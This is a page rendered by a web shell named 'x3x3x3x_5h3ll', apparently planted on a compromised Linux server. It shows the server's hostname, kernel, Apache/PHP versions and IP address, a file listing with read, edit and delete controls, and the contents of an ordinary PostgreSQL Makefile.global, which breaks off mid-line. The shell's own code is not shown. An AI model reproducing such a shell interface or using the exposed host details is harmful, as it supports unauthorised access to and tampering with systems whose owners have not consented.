x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/pgsql/pgxs/src/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
makefiles dir drwxr-xr-x 2024-07-07 21:56 R D
test dir drwxr-xr-x 2024-04-11 04:55 R D
Makefile.global 23.196 KB -rw-r--r-- 2024-04-11 04:55 R E G D
Makefile.port 0.398 KB -rw-r--r-- 2024-04-11 04:55 R E G D
Makefile.shlib 15.185 KB -rw-r--r-- 2024-04-11 04:55 R E G D
nls-global.mk 5.841 KB -rw-r--r-- 2024-04-11 04:55 R E G D
REQUEST EXIT
# -*-makefile-*- # src/Makefile.global.in #------------------------------------------------------------------------------ # All PostgreSQL makefiles include this file and use the variables it sets, # which in turn are put here by the configure script. There is no need for # users to edit this file -- if it turns out to be necessary then that's a # bug. # # A makefile that includes this file needs to set the variable `subdir' to # the relative path from the top to itself and `top_builddir' to the relative # path from itself to the top before including this file. (The "top" is the # parent directory of the directory this file is in.) #------------------------------------------------------------------------------ ########################################################################## # # Meta configuration standard_targets = all install installdirs uninstall distprep clean distclean maintainer-clean coverage check installcheck maintainer-check # these targets should recurse even into subdirectories not being built: standard_always_targets = distprep clean distclean maintainer-clean .PHONY: $(standard_targets) install-strip html man installcheck-parallel # make `all' the default target all: # Delete target files if the command fails after it has # started to update the file. .DELETE_ON_ERROR: # PostgreSQL version number VERSION = 9.2.24 MAJORVERSION = 9.2 VERSION_NUM = 90224 # Support for VPATH builds vpath_build = no abs_top_srcdir = /builddir/build/BUILD/postgresql-9.2.24 ifneq ($(vpath_build),yes) top_srcdir = $(top_builddir) srcdir = . else # vpath_build = yes top_srcdir = $(abs_top_srcdir) srcdir = $(top_srcdir)/$(subdir) endif vpathsearch = `for f in $(addsuffix /$(1),$(subst :, ,. $(VPATH))); do test -r $$f && echo $$f && break; done` # Saved arguments from configure configure_args = '--build=x86_64-redhat-linux-gnu' '--host=x86_64-redhat-linux-gnu' '--program-prefix=' '--disable-dependency-tracking' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--sbindir=/usr/sbin' '--sysconfdir=/etc' '--datadir=/usr/share' '--includedir=/usr/include' '--libdir=/usr/lib64' '--libexecdir=/usr/libexec' '--localstatedir=/var' '--sharedstatedir=/var/lib' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--disable-rpath' '--with-perl' '--with-tcl' '--with-tclconfig=/usr/lib64' '--with-python' '--with-ldap' '--with-openssl' '--with-pam' '--with-krb5' '--with-gssapi' '--with-ossp-uuid' '--with-libxml' '--with-libxslt' '--enable-nls' '--enable-dtrace' '--with-selinux' '--with-system-tzdata=/usr/share/zoneinfo' '--datadir=/usr/share/pgsql' 'build_alias=x86_64-redhat-linux-gnu' 'host_alias=x86_64-redhat-linux-gnu' 'CFLAGS=-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -DLINUX_OOM_SCORE_ADJ=0' 'LDFLAGS=-Wl,-z,relro ' ########################################################################## # # Installation directories # # These are set by the equivalent --xxxdir configure options. We # append "pgsql" to some of them, in order to avoid directory clutter. # # In a PGXS build, we cannot use the values inserted into Makefile.global # by configure, since the installation tree may have been relocated. # Instead get the path values from pg_config. ifndef PGXS # Note that prefix, exec_prefix, and datarootdir aren't defined in a PGXS build; # makefiles may only use the derived variables such as bindir. prefix := /usr exec_prefix := /usr datarootdir := ${prefix}/share bindir := /usr/bin datadir := /usr/share/pgsql sysconfdir := /etc libdir := /usr/lib64 pkglibdir = $(libdir) override pkglibdir := $(pkglibdir)/pgsql includedir := /usr/include pkgincludedir = $(includedir) override pkgincludedir := $(pkgincludedir)/pgsql mandir := /usr/share/man docdir := ${datarootdir}/doc/${PACKAGE_TARNAME} override docdir := $(docdir)/pgsql htmldir := ${docdir} localedir := ${datarootdir}/locale else # PGXS case # Extension makefiles should set PG_CONFIG, but older ones might not ifndef PG_CONFIG PG_CONFIG = pg_config endif bindir := $(shell $(PG_CONFIG) --bindir) datadir := $(shell $(PG_CONFIG) --sharedir) sysconfdir := $(shell $(PG_CONFIG) --sysconfdir) libdir := $(shell $(PG_CONFIG) --libdir) pkglibdir := $(shell $(PG_CONFIG) --pkglibdir) includedir := $(shell $(PG_CONFIG) --includedir) pkgincludedir := $(shell $(PG_CONFIG) --pkgincludedir) mandir := $(shell $(PG_CONFIG) --mandir) docdir := $(shell $(PG_CONFIG) --docdir) localedir := $(shell $(PG_CONFIG) --localedir) endif # PGXS # These derived path variables aren't separately configurable. includedir_server = $(pkgincludedir)/server includedir_internal = $(pkgincludedir)/internal pgxsdir = $(pkglibdir)/pgxs ########################################################################## # # Features # # Records the choice of the various --enable-xxx and --with-xxx options. with_perl = yes with_python = yes with_tcl = yes with_openssl = yes with_ossp_uuid = yes with_selinux = yes with_libxml = yes with_libxslt = yes with_system_tzdata = /usr/share/zoneinfo with_zlib = yes enable_shared = yes enable_rpath = no enable_nls = yes enable_debug = no enable_dtrace = yes enable_coverage = no enable_thread_safety = yes python_includespec = -I/usr/include/python2.7 python_libdir = /usr/lib64 python_libspec = -L/usr/lib64 -lpython2.7 python_additional_libs = -lpthread -ldl -lutil -lm python_configdir = /usr/lib64/python2.7/config python_majorversion = 2 python_version = 2.7 krb_srvtab = FILE:$(sysconfdir)/krb5.keytab TCLSH = /usr/bin/tclsh TCL_LIB_FILE = libtcl8.5.so TCL_LIBS = -ldl -lpthread -lieee -lm TCL_LIB_SPEC = -L/usr/lib64 -ltcl8.5 TCL_INCLUDE_SPEC = -I/usr/include TCL_SHARED_BUILD = 1 TCL_SHLIB_LD_LIBS = ${LIBS} PTHREAD_CFLAGS = -pthread -D_REENTRANT -D_THREAD_SAFE -D_POSIX_PTHREAD_SEMANTICS PTHREAD_LIBS = -lpthread ########################################################################## # # Programs and flags # Compilers CPP = gcc -E CPPFLAGS = -D_GNU_SOURCE -I/usr/include/libxml2 ifdef PGXS override CPPFLAGS := -I$(includedir_server) -I$(includedir_internal) $(CPPFLAGS) else # not PGXS override CPPFLAGS := -I$(top_srcdir)/src/include $(CPPFLAGS) ifdef VPATH override CPPFLAGS := -I$(top_builddir)/src/include $(CPPFLAGS) endif endif # not PGXS CC = gcc GCC = yes SUN_STUDIO_CC = no CFLAGS = -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -DLINUX_OOM_SCORE_ADJ=0 -Wall -Wmissing-prototypes -Wpointer-arith -Wdeclaration-after-statement -Wendif-labels -Wmissing-format-attribute -Wformat-security -fno-strict-aliasing -fwrapv -fexcess-precision=standard # Kind-of compilers BISON = /usr/bin/bison BISONFLAGS = -Wno-deprecated $(YFLAGS) FLEX = /usr/bin/flex FLEXFLAGS = $(LFLAGS) DTRACE = dtrace DTRACEFLAGS = ZIC = # Linking AR = ar DLLTOOL = DLLWRAP = LIBS = -lselinux -lxslt -lxml2 -lpam -lssl -lcrypto -lkrb5 -lcom_err -lgssapi_krb5 -lz -lreadline -lcrypt -ldl -lm LDAP_LIBS_FE = -lldap_r LDAP_LIBS_BE = -lldap OSSP_UUID_LIBS = -lossp-uuid LD = /usr/bin/ld with_gnu_ld = yes ld_R_works = # We want -L for libpgport.a to be first in LDFLAGS. We also need LDFLAGS # to be a "recursively expanded" variable, else adjustments to rpathdir # don't work right. So we must NOT do LDFLAGS := something, meaning this has # to be done first and elsewhere we must only do LDFLAGS += something. ifdef PGXS LDFLAGS = -L$(libdir) else LDFLAGS = -L$(top_builddir)/src/port endif LDFLAGS += -Wl,-z,relro -Wl,--as-needed LDFLAGS_EX = # LDFLAGS_SL might have already been assigned by calling makefile LDFLAGS_SL += LDREL = -r LDOUT = -o RANLIB = ranlib WINDRES = X = # Perl ifneq (/usr/bin/perl,) # quoted to protect pathname with spaces PERL = '/usr/bin/perl' else PERL = $(missing) perl endif perl_archlibexp = /usr/lib64/perl5 perl_privlibexp = /usr/share/perl5 perl_useshrplib = true perl_embed_ccflags = perl_embed_ldflags = -fstack-protector -L/usr/lib64/perl5/CORE -lperl -lresolv -lnsl -ldl -lm -lcrypt -lutil -lpthread -lc # Miscellaneous AWK = gawk LN_S = ln -s MSGFMT = msgfmt MSGMERGE = msgmerge PYTHON = /usr/bin/python TAR = /usr/bin/tar XGETTEXT = xgettext GZIP = gzip BZIP2 = bzip2 # Installation. INSTALL = $(SHELL) $(top_srcdir)/config/install-sh -c INSTALL_SCRIPT_MODE = 755 INSTALL_DATA_MODE = 644 INSTALL_PROGRAM = $(INSTALL_PROGRAM_ENV) $(INSTALL) $(INSTALL_STRIP_FLAG) INSTALL_SCRIPT = $(INSTALL) -m $(INSTALL_SCRIPT_MODE) INSTALL_DATA = $(INSTALL) -m $(INSTALL_DATA_MODE) INSTALL_STLIB = $(INSTALL_STLIB_ENV) $(INSTALL_DATA) $(INSTALL_STRIP_FLAG) INSTALL_SHLIB = $(INSTALL_SHLIB_ENV) $(INSTALL) $(INSTALL_SHLIB_OPTS) $(INSTALL_STRIP_FLAG) # Override in Makefile.port if necessary INSTALL_SHLIB_OPTS = -m 755 MKDIR_P = /usr/bin/mkdir -p missing = $(SHELL) $(top_srcdir)/config/missing STRIP = strip STRIP_STATIC_LIB = strip -x STRIP_SHARED_LIB = strip --strip-unneeded # Documentation have_docbook = no COLLATEINDEX = DOCBOOKSTYLE = JADE = NSGMLS = OSX = XSLTPROC = xsltproc # Code coverage GCOV = LCOV = GENHTML = ifeq ($(enable_coverage),yes) # ccache loses .gcno files export CCACHE_DISABLE = 1 endif # Feature settings DEF_PGPORT = 5432 WANTED_LANGUAGES = ########################################################################## # # Additional platform-specific settings # # Name of the "template" PORTNAME= linux build_os = linux-gnu host_tuple = x86_64-redhat-linux-gnu host_os = linux-gnu host_cpu = x86_64 # Make HAVE_IPV6 available for initdb script creation HAVE_IPV6= yes # The HP-UX port makefile, for one, needs access to this symbol HAVE_POSIX_SIGNALS= yes # This is mainly for use on FreeBSD, where we have both a.out and elf # systems now. May be applicable to other systems to? ELF_SYSTEM= true # Backend stack size limit has to be hard-wired on Windows (it's in bytes) WIN32_STACK_RLIMIT=4194304 # Set if we have a working win32 crashdump header have_win32_dbghelp = no # Pull in platform-specific magic include $(top_builddir)/src/Makefile.port # Set up rpath if enabled. By default it will point to our libdir, # but individual Makefiles can force other rpath paths if needed. rpathdir = $(libdir) ifeq ($(enable_rpath), yes) LDFLAGS += $(rpath) endif ########################################################################## # # Some variables needed to find some client interfaces ifdef PGXS # some contribs assumes headers and libs are in the source tree... libpq_srcdir = $(includedir) libpq_builddir = $(libdir) else libpq_srcdir = $(top_srcdir)/src/interfaces/libpq libpq_builddir = $(top_builddir)/src/interfaces/libpq endif # This macro is for use by libraries linking to libpq. (Because libpgport # isn't created with the same link flags as libpq, it can't be used.) libpq = -L$(libpq_builddir) -lpq # If doing static linking, shared library dependency info isn't available, # so add in the libraries that libpq depends on. ifeq ($(enable_shared), no) libpq += $(filter -lintl -lssl -lcrypto -lkrb5 -lcrypt, $(LIBS)) \ $(LDAP_LIBS_FE) $(PTHREAD_LIBS) endif # This macro is for use by client executables (not libraries) that use libpq. # We force clients to pull symbols from the non-shared library libpgport # rather than pulling some libpgport symbols from libpq just because # libpq uses those functions too. This makes applications less # dependent on changes in libpq's usage of pgport. To do this we link to # pgport before libpq. This does cause duplicate -lpgport's to appear # on client link lines. ifdef PGXS libpq_pgport = -L$(libdir) -lpgport $(libpq) else libpq_pgport = -L$(top_builddir)/src/port -lpgport $(libpq) endif submake-libpq: $(MAKE) -C $(libpq_builddir) all submake-libpgport: $(MAKE) -C $(top_builddir)/src/port all .PHONY: submake-libpq submake-libpgport ########################################################################## # # Testing support PL_TESTDB = pl_regression CONTRIB_TESTDB = contrib_regression ifneq ($(MODULE_big),) CONTRIB_TESTDB_MODULE = contrib_regression_$(MODULE_big) else ifneq ($(MODULES),) CONTRIB_TESTDB_MODULE = contrib_regression_$(MODULES) else CONTRIB_TESTDB_MODULE = contrib_regression endif endif ifdef NO_LOCALE NOLOCALE += --no-locale endif pg_regress_locale_flags = $(if $(ENCODING),--encoding=$(ENCODING)) $(NOLOCALE) pg_regress_check = $(top_builddir)/src/test/regress/pg_regress --inputdir=$(srcdir) --temp-install=./tmp_check --top-builddir=$(top_builddir) $(pg_regress_locale_flags) pg_regress_installcheck = $(top_builddir)/src/test/regress/pg_regress --inputdir=$(srcdir) --psqldir='$(PSQLDIR)' $(pg_regress_locale_flags) pg_regress_clean_files = results/ regression.diffs regression.out tmp_check/ log/ ########################################################################## # # Customization # # This includes your local customizations if Makefile.custom exists # in the source directory. This file doesn't exist in the original # distribution so that it doesn't get overwritten when you upgrade. # # NOTE: Makefile.custom is from the pre-Autoconf days of PostgreSQL. # You are liable to shoot yourself in the foot if you use it without # knowing exactly what you're doing. The preferred (and more # reliable) method is to communicate what you want to do to the # configure script, and leave the makefiles alone. -include $(top_srcdir)/src/Makefile.custom ifneq ($(CUSTOM_INSTALL),) INSTALL= $(CUSTOM_INSTALL) endif ifneq ($(CUSTOM_CC),) CC= $(CUSTOM_CC) endif ifneq ($(CUSTOM_COPT),) COPT= $(CUSTOM_COPT) endif # # These variables are meant to be set in the environment of "make" # to add flags to whatever configure picked. Unlike the ones above, # they are documented. # ifdef COPT CFLAGS += $(COPT) LDFLAGS += $(COPT) endif ifdef PROFILE CFLAGS += $(PROFILE) LDFLAGS += $(PROFILE) endif ########################################################################## # # substitute implementations of C library routines (see src/port/) # note we already included -L.../src/port in LDFLAGS above LIBOBJS = ${LIBOBJDIR}fls$U.o ${LIBOBJDIR}strlcat$U.o ${LIBOBJDIR}strlcpy$U.o ${LIBOBJDIR}getpeereid$U.o LIBS := -lpgport $(LIBS) # to make ws2_32.lib the last library, and always link with shfolder, # so SHGetFolderName isn't picked up from shell32.dll ifeq ($(PORTNAME),win32) LIBS += -lws2_32 -lshfolder endif # Not really standard libc functions, used by the backend. TAS = ########################################################################## # # Global targets and rules %.i: %.c $(CPP) $(CPPFLAGS) -o $@ $< %.gz: % $(GZIP) --best -c $< >$@ %.bz2: % $(BZIP2) -c $< >$@ # Direct builds of foo.c -> fo